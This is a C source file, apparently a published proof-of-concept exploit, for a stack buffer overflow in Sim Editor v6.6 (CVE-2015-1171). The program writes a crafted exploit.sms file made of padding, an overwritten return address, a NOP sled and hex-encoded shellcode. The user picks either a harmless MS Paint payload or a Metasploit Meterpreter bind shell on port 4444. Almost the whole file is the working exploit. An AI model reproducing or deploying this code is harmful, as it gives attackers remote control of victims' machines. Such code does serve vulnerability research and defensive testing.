135 lines
No EOL
4.1 KiB
Text
135 lines
No EOL
4.1 KiB
Text
#include <stdio.h>
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#include <stdlib.h>
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#include <string.h>
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#define SIZE 65536
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/*
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* Title: Sim Editor v6.6 Stack Based Buffer Overflow
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* Version: 6.6
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* Tested on: Windows XP sp2 en, Windows 8 64-bit
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* Date: 16-01-2015
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* Author: Osanda Malith Jayathissa
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* E-Mail: osanda[cat]unseen.is
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* Website: OsandaMalith.wordpress.com
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* CVE: CVE-2015-1171
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*/
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const char shell1[] = "ba516a43ddd9e9d97424f45e33c9b1"
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"3231561503561583eefce2a496ab54"
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"46672c07cf821d15abc70ca9b88abc"
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"42ec3e36263830ff8d1e7f00209ed3"
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"c222622e17855be16ac49c1c849475"
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"6a3709f22e8428d424b45251fa41e9"
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"582bf96612d3712082e25632feadd3"
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"81752c32d8761e7ab749ae77c98e09"
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"68bce46915c73f13c142ddb382f505"
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"454663ce4923e7884db224a36a3fcb"
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"63fb7be8a7a7d891fe0d8eaee0ea6f"
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"0b6b187b2d36777abf4d3e7cbf4d11"
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"158ec6fe620f0dbb9d450fea3500da"
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"ae5bb331ec6530b38d9128b688deee"
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"2be14f9b4b566f8e262bff50d1a58b"
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"92";
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/* msfpayload windows/meterpreter/bind_tcp EXITFUNC=thread LPORT=4444 R | msfencode -a x86 -t c */
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const char shell2[] = "bb3ff8edc8dbc6d97424f45f2bc9b1"
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"4a83effc315f11035f11e2ca04054e"
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"34f5d62fbd10e77dd9515ab2aa3457"
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"39feacec4fd6c345e500ed56cb8ca1"
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"954d70b8c9ad49731caf8e6eeffd47"
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"e44212ecb85e99be2ce77e744cc6d0"
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"0317c8d3c02341cc050f1b67fdfb9a"
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"a1cc04ad8d823a0100db7ba6fbae77"
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"d486a843a65c3d560016e5b2b0fb73"
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"30beb0f01ea347d514dfccd8fa6996"
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"fede324c9f479f23a098479b04d26a"
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"c831b9e23d7342f3290431c1f6bedd"
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"697e18198d55dcb570561c9fb6024c"
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"b71f2b07479ffe87170f5167c8ef01"
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"0f02e07e2f2d2a179e098670e2ad38"
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"dd6b4b50cd3dc3cd2f1adc6a4f4970"
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"22c7c69ef4e8d7b45644705f2d8645"
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"7e3283ee17a5597e55575dab0f97cb"
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"5786c06355ff272ca62a3ce532952b"
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"0ad215ac5cb815c4389845f14635fa"
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"aad2b5ab1f74dd5179b242a9ac42bf"
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"7c89c0c90af908";
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const char *shells[] = { shell1, shell2 };
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const char *shell_names[] = { "MS Paint", "Bind Shell" };
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const char *shell_info[] = { "", "[*] Connect on port 4444\n" };
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const size_t SHELLS_COUNT = 2;
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int menu() {
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size_t shell_type = SHELLS_COUNT;
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puts("\b[?] Choose an Option: ");
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size_t i;
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for (i = 0; i < SHELLS_COUNT; i++) printf("%d. %s\n", i, shell_names[i]);
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scanf("%i", &shell_type);
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return shell_type;
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}
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void banner() {
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static const char banner[] =
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" _____ _ _____ _ _ _ \n"
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"| __|_|_____ | __|_| |_| |_ ___ ___ \n"
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"|__ | | | | __| . | | _| . | _|\n"
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"|_____|_|_|_|_| |_____|___|_|_| |___|_|\n"
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"\n[~] Sim Editor v6.6 Stack Based Buffer Overflow\n"
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"[~] Author: Osanda Malith Jayathissa\n"
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"[~] E-Mail: osanda[cat]unseen.is\n"
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"[~] Website: OsandaMalith.wordpress.com\n\n";
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fwrite(banner, sizeof(char), sizeof(banner) , stdout);
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}
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void patternfill(char *dst, char *pattern, size_t count, size_t dst_size) {
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size_t pattern_len = strlen(pattern);
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count *= pattern_len;
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if (count > dst_size) count = dst_size;
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if (pattern_len > dst_size) pattern_len = dst_size;
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size_t i, pI;
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for (i = 0, pI = 0; i < count ; i++, pI++) {
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if (pI == pattern_len) pI = 0;
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dst[i] = pattern[pI];
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}
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}
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int main() {
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banner();
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int shell_type = menu();
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if (shell_type >= SHELLS_COUNT) {
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printf("[-] Enter a valid input\n");
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exit (1);
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}
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char *buff = (char*) calloc (SIZE, sizeof(char));
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char *nops = (char*) calloc (SIZE, sizeof(char));
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if (!buff || !nops) exit (1);
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patternfill(buff, "41", 405, SIZE);
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patternfill(nops, "90", 16, SIZE);
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char ret[] = "B3804200";
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const char* filename = "exploit.sms";
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FILE *outfile = fopen(filename, "w");
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if (!outfile) {
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printf("%s\n","Could not open file");
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exit (1);
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}
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fputs(buff, outfile);
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fputs(ret, outfile);
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fputs(nops, outfile);
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fputs(shells[shell_type], outfile);
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printf("%s", shell_info[shell_type]);
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fclose(outfile);
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free(buff);
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printf("[+] Successfully to written to: \"%s\"\n", filename);
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return 0;
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}
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/*EOF*/ |